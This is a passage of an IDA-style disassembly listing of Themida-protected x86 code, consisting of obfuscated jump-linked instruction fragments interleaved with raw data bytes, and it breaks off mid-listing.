		dd 148904ECh, 9BF9E924h, 0C828FFFFh, 81240C8Bh,	4C4h, 0B6526600h
		dd 92EE80ADh, 5A66F000h, 44C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5687D5:				; CODE XREF: Themida_:0056BE2Bj
		inc	edi
		or	edi, 754D486Ch
		sub	edi, 3A5F796Ch
		jmp	loc_56345F
; ---------------------------------------------------------------------------
		db 66h
		dd 66E9008Fh, 81FFFF2Dh, 44090FE1h, 5E9C15Eh, 3861E9h
		dd 242C3300h, 0FF5DC3E9h, 9FEE80FFh, 7001E951h,	89560000h
		dd 4C681E6h, 0E9000000h, 0FFFFD575h, 4240481h, 8F000000h
		dd 4812404h, 424h, 52505B00h, 0FF590FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568835:				; CODE XREF: Themida_:005631ACj
		push	ecx
		mov	ecx, 0
		add	ecx, 23454C8Ah
		add	ecx, ebx
		sub	ecx, 23454C8Ah
		xor	eax, [ecx]
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_56862B
; ---------------------------------------------------------------------------


loc_56885A:				; CODE XREF: Themida_:00565DEBj
		push	ebp
		jmp	loc_566F62
; ---------------------------------------------------------------------------
		dd 4C18159h, 81000000h,	4E9h, 74FF5100h, 8F590424h, 895C2404h
		dd 4E68240Ch, 8900004Bh, 0EC832424h, 24348904h,	751CE9h
		dd 48F5400h, 3CBE5624h,	81551C10h, 0CA752EEEh, 6E6C14Eh
		dd 0FF7468E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5688A5:				; CODE XREF: Themida_:0056A3E1j
		mov	ebx, [esp]
		add	esp, 4
		xor	al, dh
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		jmp	loc_55F5AD
; ---------------------------------------------------------------------------
		dd 4240483h, 4C6815Eh, 83000000h, 348704C6h, 0D4685C24h
		dd 0E9000009h, 0FFFF841Ch
; ---------------------------------------------------------------------------


loc_5688D8:				; CODE XREF: Themida_:0056EEA1j
		push	2BDE18C7h
		pop	edx
		jmp	loc_55E9BB
; ---------------------------------------------------------------------------


loc_5688E3:				; CODE XREF: Themida_:0056FC2Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_560566
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 25h
		dd 0FF8836E9h, 0E9FB29FFh, 0FFFFA97Bh, 0FF242C81h, 5EFFFFFFh
		dd 0D0BE5651h, 50060630h, 73AC2BB8h, 585950D5h,	348BF129h
		dd 4C48324h, 2E83BF57h,	0E9471E97h, 770Fh, 5505E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568932:				; CODE XREF: Themida_:00560BB3j
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5637D3
; ---------------------------------------------------------------------------


loc_56893F:				; CODE XREF: Themida_:00568350j
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 174E066Ch
		shr	edi, 6
		inc	edi
		push	4611h
		jmp	loc_55F6CA
; ---------------------------------------------------------------------------
		dd 31240433h, 3CE92404h, 5CFFFF86h, 8F04C483h, 665C2404h
		dd 56240C8Bh, 24348B54h, 55E38953h, 612E30BDh, 81D5F736h
		dd 4ECh, 243C8900h, 3A6217BFh, 44EF8130h, 9142E02h, 121E9FDh
		dd 0D8280000h, 0E92434FFh, 0FFFF31C7h
; ---------------------------------------------------------------------------


loc_5689AC:				; CODE XREF: Themida_:005618E4j
		sub	edx, 465347B4h
		jmp	loc_56B6E6
; ---------------------------------------------------------------------------


loc_5689B7:				; CODE XREF: Themida_:0056AD89j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_564CE0
; ---------------------------------------------------------------------------
		db 81h
		dd 40042444h, 597ED734h, 0FF7328E9h, 13922DFFh,	60E96668h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5689E7:				; CODE XREF: Themida_:0055BB49j
		mov	dh, 18h
		mov	ch, dh
		jmp	loc_56E2E8
; ---------------------------------------------------------------------------
		dd 5C243C87h, 491CE9h, 48F5400h, 4BD5524h, 1000000h, 5D04246Ch
		dd 8124048Fh, 42404h, 34FF0000h, 0C4835F24h, 4EC8104h
		dd 89000000h, 11E9241Ch
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568A27:				; CODE XREF: Themida_:0055E317j
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5685C5
; ---------------------------------------------------------------------------
		dd 0C8BCB88h, 4C48124h,	0F6000000h, 885066DBh, 88C0FED8h
		dd 665866C3h, 2404FE53h, 5E95B66h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568A5B:				; CODE XREF: Themida_:005635D9j
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dd 0BEC5815Ch, 15EFD40h, 0BEED81F5h, 8B5EFD40h,	0C4832434h
		dd 242C8704h, 0FF3F45E9h, 29E95DFFh, 8B00005Ah,	0C4812434h
		dd 4, 2E76E955h, 81590000h, 0FF7FEEEDh,	5DEA2933h, 267968h
		dd 243C8900h, 0AA1860BFh, 7BC78149h, 8146B03Eh,	2A6017E7h
		dd 0D41E945h, 4870000h,	98E95C24h, 5F000045h, 7283ED81h
		dd 20E96E7Dh, 66FFFF60h, 661D2368h, 66241489h, 76E99C50h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568ADF:				; CODE XREF: Themida_:005614E4j
		sub	eax, 3464119h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	2563h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, 480648E6h
		jmp	loc_567C30
; ---------------------------------------------------------------------------
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_55FCB5
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0D5E9242Ch, 8100000Dh, 0A91ABBC1h, 79A2E916h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568B2E:				; CODE XREF: Themida_:0056D590j
		mov	edi, 2CEA6E08h
		jmp	loc_565DD0
; ---------------------------------------------------------------------------
		dd 8158C121h, 76D2FEE9h, 59CD01D4h, 242C8758h, 0D686E95Ch
		dd 0F704FFFFh, 2858C588h, 6E7FE9E5h, 0C3810000h, 4, 8704EB83h
		dd 895C241Ch, 0E2892414h, 4BD55h, 18E90000h, 2900006Eh
		dd 93055EF0h, 0E9778555h, 0FFFF2C64h, 0A0FBA52h, 0F2815F5Fh
		dd 5F5F0A0Bh, 0FF792CE9h, 2CF028FFh, 63045A33h,	632CF828h
		dd 1308E9h
		db 0
; ---------------------------------------------------------------------------


loc_568BA5:				; CODE XREF: Themida_:0056CEC3j
		mov	dl, 0B5h
		jmp	loc_5658F8
; ---------------------------------------------------------------------------
		dd 8088CC80h, 0E10012F4h, 0E9CF3058h, 291h, 8BE9F001h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568BC3:				; CODE XREF: Themida_:0055FDEAj
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shl	edi, 3
		sub	edi, 6E3D3BB3h
		xor	edi, 0B58C3586h
		mov	ebx, edi
		pop	edi
		jmp	loc_55EF43
; ---------------------------------------------------------------------------
		dw 0E9ACh
		dd 0FFFF9FBBh
; ---------------------------------------------------------------------------


loc_568BF0:				; CODE XREF: Themida_:00566DB0j
		add	eax, 37C776C5h
		push	ebp
		jmp	loc_55E206
; ---------------------------------------------------------------------------
aIS		db '‰,$é',7,'[',0
		db 0
; ---------------------------------------------------------------------------


loc_568C03:				; CODE XREF: Themida_:0056058Ej
		mov	edx, esp
		jmp	loc_562BC5
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 0D0F1815Dh, 0E925AA6Dh, 4888h, 68h, 241C2800h, 83241C8Ah
		dd 685104C4h, 7029h, 0B4240489h, 5C1968C4h, 4890000h, 0D017B024h
		dd 0E90134E8h, 0FFFFFF0Ah
; ---------------------------------------------------------------------------


loc_568C44:				; CODE XREF: Themida_:0057006Dj
		xor	eax, 5BCA711Ah
		and	ebp, eax
		pop	eax
		sub	ebp, 0F525FDBh
		shl	ebp, 3
		not	ebp
		add	ebp, 68021054h
		add	ebp, 637B16E9h
		add	eax, ebp
		pop	ebp
		push	3CB8h
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		push	dword ptr [esp]
		jmp	loc_56856E
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 4C48104h, 68000000h,	7580h, 0FF3098E9h, 243C8BFFh, 0E904C483h
		dd 0FFFF43C7h, 8B5FF829h, 0C481241Ch, 4, 89F3E95Bh, 8151FFFFh
		dd 88F2404h, 148B09B7h,	4C48124h, 81000000h, 0B7088FEAh
		dd 0D184E909h, 0F66FFFFh, 0EC8102B6h, 4, 0FF313BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568CD9:				; CODE XREF: Themida_:0055CE19j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_56BD6C
; ---------------------------------------------------------------------------


loc_568CE4:				; CODE XREF: Themida_:0055E45Bj
		add	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_56261D
; ---------------------------------------------------------------------------


loc_568CF0:				; CODE XREF: Themida_:0055B86Fj
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 0BDh, 0AAh, 32h
		dd 6C014F97h, 8B5D0824h, 0C4832434h, 2434FF04h,	0E089505Bh
		dd 8904EC83h, 4BF243Ch,	1000000h, 0C0835FF8h, 0FD98E904h
		dd 83ADFFFFh, 0F00207Fh, 0FFCE3584h, 4EC83FFh, 0E9241489h
		dd 0FFFF84B5h, 4C381h, 0B2E90000h, 8B000070h, 0AE92424h
		dd 83FFFF28h, 148904ECh, 0E103E924h, 8F5CFFFFh,	248B2404h
		dd 2886424h, 0FF27F0E9h, 297168FFh, 34890000h, 0B5BE24h
		dd 0EB812D66h, 7FD07228h, 25E9F329h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568D7F:				; CODE XREF: Themida_:005634DDj
		push	edi
		push	eax
		push	edx
		mov	edx, 7B712FABh
		push	edx
		jmp	loc_56A22D
; ---------------------------------------------------------------------------
		db 43h,	81h, 0C3h
		dd 0CA3EFC82h, 0FF696FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568D99:				; CODE XREF: Themida_:00569C2Dj
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56DAF9
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 4AE90000h, 81FFFFB4h, 4C3h, 241C8700h, 0F7805A5Ch
		dd 9DF4E920h, 0F000FFFFh, 0FF3987E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568DCD:				; CODE XREF: Themida_:00569EA2j
		xchg	ebp, [esp]
		jmp	loc_56DC51
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 69E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_568DDD:				; CODE XREF: Themida_:0056828Dj
		pop	ebx
		sub	ebx, 6BD668E8h
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5694B5
; ---------------------------------------------------------------------------
		db 0BFh, 5Dh, 39h
		dd 0ADE96981h, 89FFFF31h, 0C7BD242Ch, 0E95A9A05h, 0FFFF6D10h
		dd 54243489h, 83B9515Eh, 0E92CB033h, 10FEh, 0EA80D2F6h
		dd 0D881E97Eh, 8F64FFFFh, 2727E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568E2E:				; CODE XREF: Themida_:0055C15Ej
		add	edx, 3500457Eh
		jmp	loc_561ADC
; ---------------------------------------------------------------------------
		db 5Dh,	83h, 0C4h
		dd 237CE904h, 0F0890000h, 58C3295Eh, 0FFEC4CE9h, 0F78059FFh
		dd 8753E964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568E56:				; CODE XREF: Themida_:0055D6E8j
		mov	[esp], edx
		push	1682h
		jmp	loc_55FE57
; ---------------------------------------------------------------------------


loc_568E63:				; CODE XREF: Themida_:0056C548j
		mov	ah, 0ABh
		sub	ah, 33h
		add	ah, 0FDh
		mov	bl, ah
		pop	eax
		jmp	loc_55CD03
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 5C00h, 54243C89h,	0E9243C8Bh, 237Eh, 144C681h
		dd 0AE977A8h, 68000059h, 6439h,	5A242C89h, 8B2434FFh, 0C483242Ch
		dd 0E1895104h, 4C181h, 57E90000h, 0F7FFFFE9h, 0DA86E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EBA:				; CODE XREF: Themida_:0056E1B3j
		add	esp, 4
		add	ebx, 0DD198AA2h
		sub	ebp, ebx
		jmp	loc_55BF23
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 9DE90000h, 1FFFFDAh,	0E9575DE9h, 0FFFFFF15h
; ---------------------------------------------------------------------------


loc_568EE0:				; CODE XREF: Themida_:00564307j
		add	eax, 4
		jmp	loc_56A643
; ---------------------------------------------------------------------------
		dw 0D029h
		dd 0E92434FFh, 0FFFF8E40h
; ---------------------------------------------------------------------------


loc_568EF4:				; CODE XREF: Themida_:0055DA83j
		xchg	eax, [esp]
		jmp	loc_5634D7
; ---------------------------------------------------------------------------
aUsL		db 'Ué,l',0
		align 2


loc_568F02:				; CODE XREF: Themida_:005678DFj
		sub	al, 6Eh
		sub	bl, al
		pop	eax
		add	bl, 0DBh
		jmp	loc_55B635
; ---------------------------------------------------------------------------
		db 35h
		dd 208E5653h, 0CB613548h, 0C509B33Ch, 0CA7E9h
		db 0
; ---------------------------------------------------------------------------


loc_568F21:				; CODE XREF: Themida_:0056E86Fj
		add	ebx, eax
		pop	eax
		push	eax
		push	ebp
		mov	ebp, 175239CEh
		jmp	loc_5607FE
; ---------------------------------------------------------------------------
		dd 0C381C329h, 32972666h, 8324048Bh, 0BFE904C4h, 500006Bh
		dd 4, 8704E883h, 895C2404h, 0E789243Ch,	4C781h,	0FCE90000h
		dd 8FFFFF80h, 0DCE92404h, 8100004Ch, 941284C1h,	30A8E952h
		dd 3489FFFFh, 4B7CBE24h, 0DEF72759h, 0FF943CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568F81:				; CODE XREF: Themida_:0056ABE9j
		or	ecx, edi
		mov	edi, [esp]
		jmp	loc_5658C3
; ---------------------------------------------------------------------------
		db 1
aB0Tqjxsop	db 'Ø0]TŸJXéOp',0
		dd 685D6600h, 7857h, 0E9243489h, 4DB5h
; ---------------------------------------------------------------------------


loc_568FA8:				; CODE XREF: Themida_:0056A914j
		sub	dword ptr [esp], 586C0969h
		pop	ebx
		jmp	loc_55E99C
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0F1BE9h
		db 0
; ---------------------------------------------------------------------------


loc_568FBD:				; CODE XREF: Themida_:0055B5E7j
		xor	ecx, 3B211EA3h
		xor	ecx, 8E1DBCC3h
		sub	ebp, 53A51D8Bh
		add	ebp, ecx
		add	ebp, 53A51D8Bh
		pop	ecx
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_56B953
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 81242C8Bh, 4C4h, 0EBBA5200h, 57344736h
		dd 0C781E789h, 4, 5331B951h, 0E1C178E4h, 81D9F704h, 0AB5473C9h
		dd 7E9C16Ch, 0E981D9F7h, 0FF048843h, 10E9CF29h,	0BF000038h
		dd 71100F04h, 685FF889h, 7A5h, 0B9240C89h, 1, 43E9C801h
		dd 53FFFF69h, 0FF4ED5E9h, 31EB81FFh, 811C9104h,	844E7BCBh
		dd 97CB812Dh, 8137BC19h, 6E370EEBh, 90C3810Bh, 31129459h
		dd 81455BDDh, 0D29439F5h, 0E9EE8922h, 44ACh, 0C889E950h
		dd 0F581FFFFh, 561311CFh, 0FFDDE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56908D:				; CODE XREF: Themida_:0055C64Dj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 80h
		dd 0E3003AEBh, 803AC380h, 58E2C3h, 2EEB80EBh, 7006E9h
		dd 249FE900h, 9668FFFFh, 0E946101Bh, 163Bh, 0E9243C86h
		dd 50F8h, 8704C283h, 0E95C2414h, 0FFFFA7CCh, 381DC381h
		dd 0CB29320Eh, 381DEB81h, 0C381320Eh, 3347C39h,	75B1C381h
		dd 68591A19h, 6C43h, 0FF4E21E9h, 0F73A05FFh, 0C5312CCAh
		dd 0EF895758h, 5D5FFB89h, 1A35B850h, 0C3291CD4h, 5BD80158h
		dd 0FFAF7DE9h, 75B9BDFFh, 0D5F75E0Bh, 8108EDC1h, 0ADA818F5h
		dd 5DE8211Eh, 4155E9h, 7BC48000h, 48BE300h, 3CE95224h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56913F:				; CODE XREF: Themida_:0056980Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		push	edx
		push	2F427C5Bh
		jmp	loc_55D6CF
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF53EDE9h, 2434FFFFh, 8124048Bh, 4C4h
byte_569168	db 0			; DATA XREF: Themida_:00550AA8o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56C153
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0F9h
		dd 0FF00004Eh, 565D2434h, 0C681E689h, 4, 4C681h, 34870000h
		dd 0BB535C24h, 4, 7BE9DF01h, 21FFFF5Ch,	0E1D158C1h, 0E905E9C1h
		dd 0FFFFC47Ah
; ---------------------------------------------------------------------------


loc_5691A8:				; CODE XREF: Themida_:00560AEAj
		pop	edi
		pop	esi
		jmp	loc_567F33
; ---------------------------------------------------------------------------


loc_5691AF:				; CODE XREF: Themida_:00560AF9j
		shl	ecx, 4
		inc	ecx
		add	ecx, 64F6CB0Bh
		mov	edx, 0A0F250F0h
		sub	edx, ecx
		push	dword ptr [esp]
		jmp	loc_5642D2
; ---------------------------------------------------------------------------


loc_5691C8:				; CODE XREF: Themida_:0056067Aj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	5E4Bh
		mov	[esp], eax
		mov	eax, 7D2D60A9h
		or	eax, 7E617BEFh
		inc	eax
		shr	eax, 3
		jmp	loc_55FE1B
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 24043359h, 33240431h, 248B2404h, 0BA525324h,	4, 815AD389h
		dd 8E24C8C2h, 0E9DA0133h, 4F67h
; ---------------------------------------------------------------------------


loc_569210:				; CODE XREF: Themida_:0055C865j
		mov	eax, 4
		jmp	loc_56A5C9
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8904EC83h, 0ECE9240Ch
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56922B:				; CODE XREF: Themida_:0055CC7Cj
		pop	ebp
		shl	ebx, 3
		jmp	loc_5609F1
; ---------------------------------------------------------------------------
		dd 244801BDh, 5DEE312Bh, 6122BF57h, 0ECE90240h,	59000051h
		dd 0B850DF01h, 59FC0D17h, 8B58C729h, 0C0E9241Ch
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56925B:				; CODE XREF: Themida_:0056EF64j
		xchg	eax, [esp]
		pop	esp
		xor	ebp, [esp]
		jmp	loc_5643FF
; ---------------------------------------------------------------------------
		db 5Ch
		dd 215DEF31h, 2E08E9F8h, 4050000h, 5000000h, 4,	0FFD355E9h
		dd 24248BFFh, 0FFBF10E9h, 242489FFh, 0FF9185E9h, 3C875EFFh
		dd 67685C24h, 8900002Ch, 0EC83243Ch, 24348904h,	0E7B3E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5692AA:				; CODE XREF: Themida_:0055DEECj
		xor	[esp], ebp
		push	ebp
		push	eax
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		not	eax
		xchg	eax, ebp
		jmp	loc_56366A
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 29000000h, 24348BF5h, 4C481h, 2C870000h, 3C895C24h
		dd 1B85024h, 89000000h,	4402E9C7h, 2C330000h, 297DE924h
		dd 248BFFFFh, 27F5E924h, 515DFFFFh, 0FF9C8FE9h,	2C383FFh
		dd 0FF4882E9h, 81465FFFh, 8A3639F6h, 0F44FE956h, 0C15EFFFFh
		dd 0C7E902EFh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569317:				; CODE XREF: Themida_:0055DECCj
		mov	edi, 30AC7B21h
		push	edi
		add	dword ptr [esp], 7D9E11BBh
		pop	ecx
		sub	ecx, 7D9E11BBh
		pop	edi
		push	eax
		jmp	loc_56C012
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 327227B5h, 42B8BB53h, 0EA81B2ACh, 78D95AD6h,	0C281DA29h
		dd 78D95AD6h, 58C3815Bh, 150630Fh, 7AFE9D3h, 0E2890000h
		dd 4C281h, 0E9500000h, 10E1h, 0C3F4F281h, 0D701F9DDh, 243C875Ah
		dd 5F41E95Ch, 0EB81FFFFh, 1814103h, 685BDD01h, 164Ch, 0FF675FE9h
		dd 16C60DFFh, 0F0254F95h, 5167BB00h, 0F114ACB9h, 59C80125h
		dd 3DBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5693A5:				; CODE XREF: Themida_:0056C749j
		mov	ch, 12h
		add	ch, bh
		pop	ebx
		not	ch
		push	2ACh
		mov	[esp], ebx
		mov	bl, 7Eh
		and	ch, bl
		pop	ebx
		sub	ch, 6Bh
		add	bl, ch
		pop	ecx
		jmp	loc_55EC0A
; ---------------------------------------------------------------------------
		dd 0BA241489h, 3F1F6007h, 4C3AE9h, 243C3100h, 5C243C33h
		dd 24048B66h, 8904EC83h, 8B542434h, 0C4832434h,	48016804h
		dd 4890000h, 4B824h, 0EE810000h, 667C65E2h, 4CCC681h, 0C6011DBDh
		dd 0FF8D14E9h, 91EE81FFh, 157E014h, 91C681D6h, 5A57E014h
		dd 338E68h, 24348900h, 42474FFh, 0FFA8F7E9h, 243489FFh
		dd 2F82E9h, 31C63100h, 8E8C1F0h, 0FFFCBCE9h, 246C81FFh
		dd 9732AA04h, 32F3E94Fh, 2C870000h, 24248B24h, 0BA241489h
		dd 734D11D1h, 60FE68h, 242C8900h, 1BDh,	5B63E900h, 74FF0000h
		dd 8F5F0424h, 73E92404h, 0B9FFFFFEh, 56E70C24h,	4C97E9h
		dd 0E9515200h, 0FFFFDD1Dh
; ---------------------------------------------------------------------------


loc_569488:				; CODE XREF: Themida_:00569B04j
		xor	ebx, 6E863F3Dh
		shr	ebx, 4
		jmp	loc_55E7BD
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 12454F6h,	0FF2AC5E9h, 247C31FFh, 243C8B04h
		dd 5E04C483h, 0FFAEA1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5694B5:				; CODE XREF: Themida_:00568DF0j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 0CB25BAECh
		sub	ebx, 64C63C9Bh
		add	ebx, eax
		add	ebx, 64C63C9Bh
		jmp	loc_56296B
; ---------------------------------------------------------------------------


loc_5694D5:				; CODE XREF: Themida_:005617D0j
		push	small 1D22h
		mov	[esp], dx
		xchg	cl, [esp]
		not	cl
		xchg	cl, [esp]
		mov	dx, [esp]
		add	esp, 2
		neg	dl
		xor	dl, 0C0h
		add	al, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		jmp	loc_5630FD
; ---------------------------------------------------------------------------
		db 0BDh
		dd 3FC060D0h, 3DDE581h,	0ED814134h, 8C2BC730h, 525DEE89h
		dd 0FF97F8E9h, 5AF528FFh, 0FF6CE2E9h, 4C483FFh,	2D03E9h
		dd 0E2895200h, 4C281h, 0C2810000h, 4, 8B241487h, 0BF572424h
		dd 2E1E4CF8h, 4548C681h, 0EE810505h, 7C602270h,	0AAE9FE01h
		dd 0BDFFFF8Dh, 49E259C3h, 0C581D5F7h, 9D2FA0A4h, 7AE9E901h
		dd 28FFFF8Dh, 0E99C2404h, 62F1h, 8904EC83h, 0B0682414h
		dd 8900001Eh, 0FAE9240Ch
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56958B:				; CODE XREF: Themida_:00566557j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56116F
; ---------------------------------------------------------------------------
		db 5Eh,	56h, 89h
		dd 4C681E6h, 83000000h,	348704C6h, 0BD555C24h, 4, 835DEE01h
		dd 148904ECh, 11685524h, 5D696352h, 49F0E9h, 0F6EB8000h
		dd 21C380h, 21EB80CBh, 26B168h,	0EDAFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5695E6:				; CODE XREF: Themida_:0055D28Aj
		sub	eax, 181A6B62h
		sub	esp, 4
		jmp	loc_55D1FD
; ---------------------------------------------------------------------------
		db 51h
		dd 1EB71AB5h, 0C8BEF28h, 4C48124h, 80000000h, 0C7FE8AE7h
		dd 282AF780h, 241C8BF8h, 4C481h, 0D0280000h, 148B2B04h
		dd 96EAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569622:				; CODE XREF: Themida_:00563E38j
		sub	eax, esi
		pop	esi
		add	eax, esi
		add	eax, 3BEE2355h
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	esi, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	ecx, esi
		jmp	loc_564295
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 0E9000000h, 0FFFFBD8Ah, 422082BDh,	1005E936h
		dd 4890000h, 33A4E924h,	60B8FFFFh, 0E966DBBCh, 0FFFFCB5Dh
; ---------------------------------------------------------------------------


loc_569690:				; CODE XREF: Themida_:0055C6EAj
		pop	esp
		jmp	loc_56776B
; ---------------------------------------------------------------------------


loc_569696:				; CODE XREF: Themida_:0055F587j
		mov	[esp], ecx
		push	230Ch
		mov	[esp], edx
		jmp	loc_56997F
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 1B5179FFh, 79FBED81h, 0E8011B51h, 2404875Dh,	2434FF5Ch
		dd 0A699E959h, 3BAFFFFh, 4A69C105h, 4EAFB951h, 0E9C12D92h
		dd 0CD5BE907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5696D6:				; CODE XREF: Themida_:0055F887j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esi, 4
		push	1318h
		mov	[esp], eax
		mov	eax, 4
		sub	esi, 527679DAh
		add	esi, eax
		push	ebp
		jmp	loc_56045D
; ---------------------------------------------------------------------------
		dd 0B1515B2Ch, 0F0B0E9FEh, 5655FFFFh, 0FF60C3E9h, 593C68FFh
		dd 0E95D2142h, 0FFFF2392h
; ---------------------------------------------------------------------------


loc_56971C:				; CODE XREF: Themida_:0056A16Cj
		push	ebp
		mov	ebp, 1DDE2ECFh
		push	eax
		push	260794Bh
		jmp	loc_570064
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 83E18951h, 348904ECh, 59EA6824h, 14890000h, 4BA24h
		dd 0A9E90000h, 0FFFFFF36h, 575F2434h, 0C781E789h, 4, 4B850h
		dd 0F9E90000h, 0F700001Bh, 4EC81D9h, 89000000h,	0B3BD242Ch
		dd 311E9057h, 0BBBCE9E9h, 0C15CFFFFh, 0E95705E3h, 0FFFF62DEh
		dd 7F1F68h, 240C8900h, 1B1068h,	5934E900h, 0E281FFFFh
		dd 678A39B9h, 0DC93C281h, 0D629BD58h, 0FFE164E9h, 0C1815FFFh
		dd 39FC4D54h, 0FFD385E9h, 59E953FFh, 81000005h,	204119C3h
		dd 81C30129h, 204119EBh, 3713E929h, 0E789FFFFh,	4C781h
		dd 98E90000h, 66000063h, 665DEB89h, 4DE9DF29h, 87FFFFB7h
		dd 685C2414h, 313Dh, 467AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5697F5:				; CODE XREF: Themida_:0056E5EFj
		push	ebp
		jmp	loc_560A6C
; ---------------------------------------------------------------------------
		db 47h
		dd 0FFC2A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569801:				; CODE XREF: Themida_:0056E646j
		xor	esi, eax
		xor	eax, esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56913F
; ---------------------------------------------------------------------------
		db 5Eh
		dd 6F1868h, 24048900h, 4EC81h, 20E90000h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569827:				; CODE XREF: Themida_:0055E9CBj
		push	34D6h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	10C9h
		mov	[esp], edi
		push	edx
		jmp	loc_55EF4A
; ---------------------------------------------------------------------------
		db 1, 0DFh, 0FFh
		dd 0CDE92434h, 81FFFF7Ch, 0B03EF3F6h, 0E9F7017Fh, 0FFFFFA35h
; ---------------------------------------------------------------------------


loc_56985C:				; CODE XREF: Themida_:0055E1DEj
		xor	esi, 700C6961h
